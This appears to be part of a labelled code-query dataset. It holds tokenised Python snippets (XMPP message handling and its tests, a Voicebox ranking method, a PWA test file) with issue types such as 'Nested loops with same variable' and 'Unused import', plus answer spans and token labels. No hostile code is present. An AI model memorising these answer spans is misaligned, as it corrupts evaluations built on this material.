"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Inva",
"lid",
"Messag",
"e",
"Error_",
"(_",
"Exception_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Message_",
"(_",
"Ap",
"i",
"Message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Enca",
"psu",
"late",
"s",
" ",
"an",
" ",
"XMPP",
" ",
"message",
" ",
"receive",
"d",
" ",
"by",
" ",
"the",
" ",
"applica",
"tion",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Message_",
"(_",
"Ap",
"i",
"Message_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"vars_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Construct",
"s",
" ",
"a",
" ",
"new",
" ",
"XMPP",
" ",
"Messag",
"e",
" ",
"from",
" ",
"an",
" ",
"HTTP",
" ",
"request",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Arg",
"s",
":",
"\\",
"10",
";",
" ",
" ",
"vars",
":",
" ",
"A",
" ",
"dict",
"-",
"like",
" ",
"object",
" ",
"to",
" ",
"extract",
" ",
"message",
" ",
"argu",
"ment",
"s",
" ",
"from",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"\\u\\u",
"sender_",
"=_",
"vars_",
"[_",
"\"",
"from",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u\\u",
"to_",
"=_",
"vars_",
"[_",
"\"",
"to",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u\\u",
"body_",
"=_",
"vars_",
"[_",
"\"",
"body",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Key",
"Error_",
",_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Inva",
"lid",
"Messag",
"e",
"Error_",
"(_",
"e_",
"[_",
"0_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"\\u\\u",
"command_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u\\u",
"arg_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Message_",
"(_",
"Ap",
"i",
"Message_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"reply_",
"(_",
"self_",
",_",
"body_",
",_",
"message",
"\\u",
"type_",
"=_",
"'",
"chat",
"'_",
",_",
"raw",
"\\u",
"xml_",
"=_",
"False_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"send",
"\\u",
"message_",
"=_",
"send",
"\\u",
"message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Conve",
"nie",
"nce",
" ",
"function",
" ",
"to",
" ",
"repl",
"y",
" ",
"to",
" ",
"a",
" ",
"message",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Arg",
"s",
":",
"\\",
"10",
";",
" ",
" ",
"body",
":",
" ",
"str",
":",
" ",
"The",
" ",
"body",
" ",
"of",
" ",
"the",
" ",
"message",
"\\",
"10",
";",
" ",
" ",
"message",
"\\u",
"type",
",",
" ",
"raw",
"\\u",
"xml",
":",
" ",
"As",
" ",
"per",
" ",
"send",
"\\u",
"message",
".",
"\\",
"10",
";",
" ",
" ",
"send",
"\\u",
"message",
":",
" ",
"Us",
"ed",
" ",
"for",
" ",
"testi",
"ng",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
"s",
":",
"\\",
"10",
";",
" ",
" ",
"A",
" ",
"status",
" ",
"code",
" ",
"as",
" ",
"per",
" ",
"send",
"\\u",
"message",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Rai",
"ses",
":",
"\\",
"10",
";",
" ",
" ",
"See",
" ",
"send",
"\\u",
"message",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"send",
"\\u",
"message_",
"(_",
"[_",
"self_",
"._",
"sender_",
"]_",
",_",
"body_",
",_",
"from",
"\\u",
"jid_",
"=_",
"self_",
"._",
"to_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"message",
"\\u",
"type_",
"=_",
"message",
"\\u",
"type_",
",_",
"raw",
"\\u",
"xml_",
"=_",
"raw",
"\\u",
"xml_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Test",
"Command",
"Handler_",
"(_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Command",
"Handler_",
"(_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"set",
"Up_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"from_",
"tip",
"fy_",
"._",
"appengine_",
"import_",
"xmpp_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"xmpp",
"\\u",
"module_",
"=_",
"xmpp_",
"._",
"xmpp_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xmpp_",
"._",
"xmpp_",
"=_",
"sys_",
"._",
"modules_",
"[_",
"\\u\\u",
"name\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
"._",
"set",
"Up_",
"(_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Command",
"Handler_",
"(_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"tear",
"Down_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"fake",
"\\u",
"local_",
"._",
"clear_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"tip",
"fy_",
"._",
"appengine_",
"import_",
"xmpp_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xmpp_",
"._",
"xmpp_",
"=_",
"self_",
"._",
"xmpp",
"\\u",
"module_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
"._",
"tear",
"Down_",
"(_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Command",
"Handler_",
"(_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"no",
"\\u",
"command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"=_",
"get",
"\\u",
"app_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"=_",
"app_",
"._",
"get",
"\\u",
"test\\u",
"client_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"._",
"open_",
"(_",
"method_",
"=_",
"'",
"POST",
"'_",
",_",
"data_",
"=_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"fake",
"\\u",
"local_",
"._",
"get_",
"(_",
"'",
"message",
"'_",
",_",
"None_",
")_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Command",
"Handler_",
"(_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"not",
"\\u",
"implemented",
"_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"=_",
"get",
"\\u",
"app_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"app_",
"._",
"config_",
"[_",
"'",
"tip",
"fy",
"'_",
"]_",
"[_",
"'",
"enable",
"\\u",
"debugg",
"er",
"'_",
"]_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"=_",
"app_",
"._",
"get",
"\\u",
"test\\u",
"client_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"from",
"'_",
":_",
"'",
"me",
"@",
"mysel",
"f",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"to",
"'_",
":_",
"'",
"you",
"@",
"your",
"self",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"body",
"'_",
":_",
"'/",
"ine",
"xist",
"ent",
"\\u",
"command",
" ",
"foo",
" ",
"bar",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Raises_",
"(_",
"Not",
"Impl",
"ement",
"ed",
"Error_",
",_",
"client_",
"._",
"post_",
",_",
"path_",
"=_",
"'/",
"test",
"2",
"'_",
",_",
"data_",
"=_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Command",
"Handler_",
"(_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"unknown",
"\\u",
"command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"=_",
"get",
"\\u",
"app_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"=_",
"app_",
"._",
"get",
"\\u",
"test\\u",
"client_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"from",
"'_",
":_",
"'",
"me",
"@",
"mysel",
"f",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"to",
"'_",
":_",
"'",
"you",
"@",
"your",
"self",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"body",
"'_",
":_",
"'/",
"ine",
"xist",
"ent",
"\\u",
"command",
" ",
"foo",
" ",
"bar",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"._",
"open_",
"(_",
"method_",
"=_",
"'",
"POST",
"'_",
",_",
"data_",
"=_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"fake",
"\\u",
"local_",
"._",
"get_",
"(_",
"'",
"message",
"'_",
",_",
"None_",
")_",
",_",
"{_",
"'",
"body",
"'_",
":_",
"'",
"Un",
"know",
"n",
" ",
"command",
"'_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Command",
"Handler_",
"(_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"command_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"=_",
"get",
"\\u",
"app_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"=_",
"app_",
"._",
"get",
"\\u",
"test\\u",
"client_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"from",
"'_",
":_",
"'",
"me",
"@",
"mysel",
"f",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"to",
"'_",
":_",
"'",
"you",
"@",
"your",
"self",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"body",
"'_",
":_",
"'/",
"foo",
" ",
"foo",
" ",
"bar",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"._",
"open_",
"(_",
"method_",
"=_",
"'",
"POST",
"'_",
",_",
"data_",
"=_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"fake",
"\\u",
"local_",
"._",
"get_",
"(_",
"'",
"message",
"'_",
",_",
"None_",
")_",
",_",
"{_",
"'",
"body",
"'_",
":_",
"'",
"Foo",
" ",
"command",
"!'_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"from",
"'_",
":_",
"'",
"me",
"@",
"mysel",
"f",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"to",
"'_",
":_",
"'",
"you",
"@",
"your",
"self",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"body",
"'_",
":_",
"'/",
"bar",
" ",
"foo",
" ",
"bar",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"._",
"open_",
"(_",
"method_",
"=_",
"'",
"POST",
"'_",
",_",
"data_",
"=_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"fake",
"\\u",
"local_",
"._",
"get_",
"(_",
"'",
"message",
"'_",
",_",
"None_",
")_",
",_",
"{_",
"'",
"body",
"'_",
":_",
"'",
"Bar",
" ",
"command",
"!'_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Test",
"Command",
"Handler_",
"(_",
"test\\u",
"utils_",
"._",
"Base",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"text",
"\\u",
"message_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"=_",
"get",
"\\u",
"app_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"=_",
"app_",
"._",
"get",
"\\u",
"test\\u",
"client_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"from",
"'_",
":_",
"'",
"me",
"@",
"mysel",
"f",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"to",
"'_",
":_",
"'",
"you",
"@",
"your",
"self",
".",
"com",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"body",
"'_",
":_",
"'",
"Hell",
"o",
",",
" ",
"text",
" ",
"message",
"!'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"._",
"open_",
"(_",
"method_",
"=_",
"'",
"POST",
"'_",
",_",
"data_",
"=_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"fake",
"\\u",
"local_",
"._",
"get_",
"(_",
"'",
"message",
"'_",
",_",
"None_",
")_",
",_",
"{_",
"'",
"body",
"'_",
":_",
"'",
"Hell",
"o",
",",
" ",
"text",
" ",
"message",
"!'_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
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
2,
2,
2,
2,
2,
2,
2
]
|
Nested loops with same variable | jbrew/pt-voicebox/vbox.py | [
{
"content": " def getOptions(self,recent_words):\n aggregate = {}\n for v in self.voices:\n voice = self.voices[v]\n if self.voiceWeights!=0:\n contribution = voice.weighContexts(voice.activeD,recent_words)\n for w in contribution:\n if w in aggregate:\n aggregate[w][0] += contribution[w] * self.voiceWeights[v]\n aggregate[w][1][v] = contribution[w] * self.voiceWeights[v]\n else:\n aggregate[w] = [0,{}]\n aggregate[w][0] += contribution[w] * self.voiceWeights[v]\n aggregate[w][1][v] = contribution[w] * self.voiceWeights[v]\n # express the sources as proportions\n if self.proportional_src:\n for v in aggregate[w][1]:\n aggregate[w][1][v] = aggregate[w][1][v]/sum(aggregate[w][1].values())\n\n toReturn = []\n for w in aggregate:\n toReturn.append([w,aggregate[w][0],aggregate[w][1]])\n\n ranked = sorted(toReturn, key=operator.itemgetter(1))\n optionList = list(reversed(ranked))[0:self.num_opts] # returns as much of the top of the list as specified by num_opts\n self.options = optionList\n return optionList",
"metadata": "root.Voicebox.getOptions",
"header": "['class', 'Voicebox', '(', 'object', ')', ':', '___EOS___']",
"index": 224
}
]
| [
{
"span": "for v in aggregate[w][1]:",
"start_line": 240,
"start_column": 24,
"end_line": 240,
"end_column": 49
}
]
| [
{
"span": "for v in self.voices:",
"start_line": 226,
"start_column": 8,
"end_line": 226,
"end_column": 29
}
]
| 1 | true | [
"[CLS]_",
"Nest",
"ed_",
"loops_",
"with_",
"same_",
"variable_",
"[SEP]_",
"class_",
"Voic",
"ebo",
"x_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Options_",
"(_",
"self_",
",_",
"recent",
"\\u",
"words_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"aggregate_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"v_",
"in_",
"self_",
"._",
"voice",
"s_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"voice_",
"=_",
"self_",
"._",
"voice",
"s_",
"[_",
"v_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"voice",
"Weights_",
"!=_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"contribution",
"_",
"=_",
"voice_",
"._",
"weig",
"h",
"Context",
"s_",
"(_",
"voice_",
"._",
"active",
"D_",
",_",
"recent",
"\\u",
"words_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"w_",
"in_",
"contribution",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"if_",
"w_",
"in_",
"aggregate_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"0_",
"]_",
"+=_",
"contribution",
"_",
"[_",
"w_",
"]_",
"*_",
"self_",
"._",
"voice",
"Weights_",
"[_",
"v_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"1_",
"]_",
"[_",
"v_",
"]_",
"=_",
"contribution",
"_",
"[_",
"w_",
"]_",
"*_",
"self_",
"._",
"voice",
"Weights_",
"[_",
"v_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"aggregate_",
"[_",
"w_",
"]_",
"=_",
"[_",
"0_",
",_",
"{_",
"}_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"0_",
"]_",
"+=_",
"contribution",
"_",
"[_",
"w_",
"]_",
"*_",
"self_",
"._",
"voice",
"Weights_",
"[_",
"v_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"1_",
"]_",
"[_",
"v_",
"]_",
"=_",
"contribution",
"_",
"[_",
"w_",
"]_",
"*_",
"self_",
"._",
"voice",
"Weights_",
"[_",
"v_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"express",
" ",
"the",
" ",
"source",
"s",
" ",
"as",
" ",
"proportion",
"s_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"self_",
"._",
"proportional",
"\\u",
"src_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"for_",
"v_",
"in_",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"1_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
" _",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"1_",
"]_",
"[_",
"v_",
"]_",
"=_",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"1_",
"]_",
"[_",
"v_",
"]_",
"/_",
"sum_",
"(_",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"1_",
"]_",
"._",
"values_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"to",
"Return_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"w_",
"in_",
"aggregate_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"to",
"Return_",
"._",
"append_",
"(_",
"[_",
"w_",
",_",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"0_",
"]_",
",_",
"aggregate_",
"[_",
"w_",
"]_",
"[_",
"1_",
"]_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"ranked",
"_",
"=_",
"sorted_",
"(_",
"to",
"Return_",
",_",
"key_",
"=_",
"operator_",
"._",
"itemgetter_",
"(_",
"1_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"option",
"List_",
"=_",
"list_",
"(_",
"reversed_",
"(_",
"ranked",
"_",
")_",
")_",
"[_",
"0_",
":_",
"self_",
"._",
"num",
"\\u",
"opts_",
"]_",
"#",
" ",
"return",
"s",
" ",
"as",
" ",
"muc",
"h",
" ",
"of",
" ",
"the",
" ",
"top",
" ",
"of",
" ",
"the",
" ",
"list",
" ",
"as",
" ",
"specified",
" ",
"by",
" ",
"num",
"\\u",
"opts_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"options_",
"=_",
"option",
"List_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"option",
"List_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
3,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | dfdx/masque/tests/pwa_test.py | [
{
"content": "\nfrom __future__ import division\nimport random\nimport unittest\nimport pwa\nfrom masque.utils import implot, delaunay, draw_tri\nfrom tests.common import read_images_and_landmarks\nfrom tests.common import interactive, data_dir_path\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class PWATest(unittest.TestCase):\n\n\n",
"metadata": "root.PWATest",
"header": "['module', '___EOS___']",
"index": 9
},
{
"content": " def setUp(self):\n self.data_dir = data_dir_path()",
"metadata": "root.PWATest.setUp",
"header": "['class', 'PWATest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 11
},
{
"content": " def tearDown(self):\n pass",
"metadata": "root.PWATest.tearDown",
"header": "['class', 'PWATest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 14
},
{
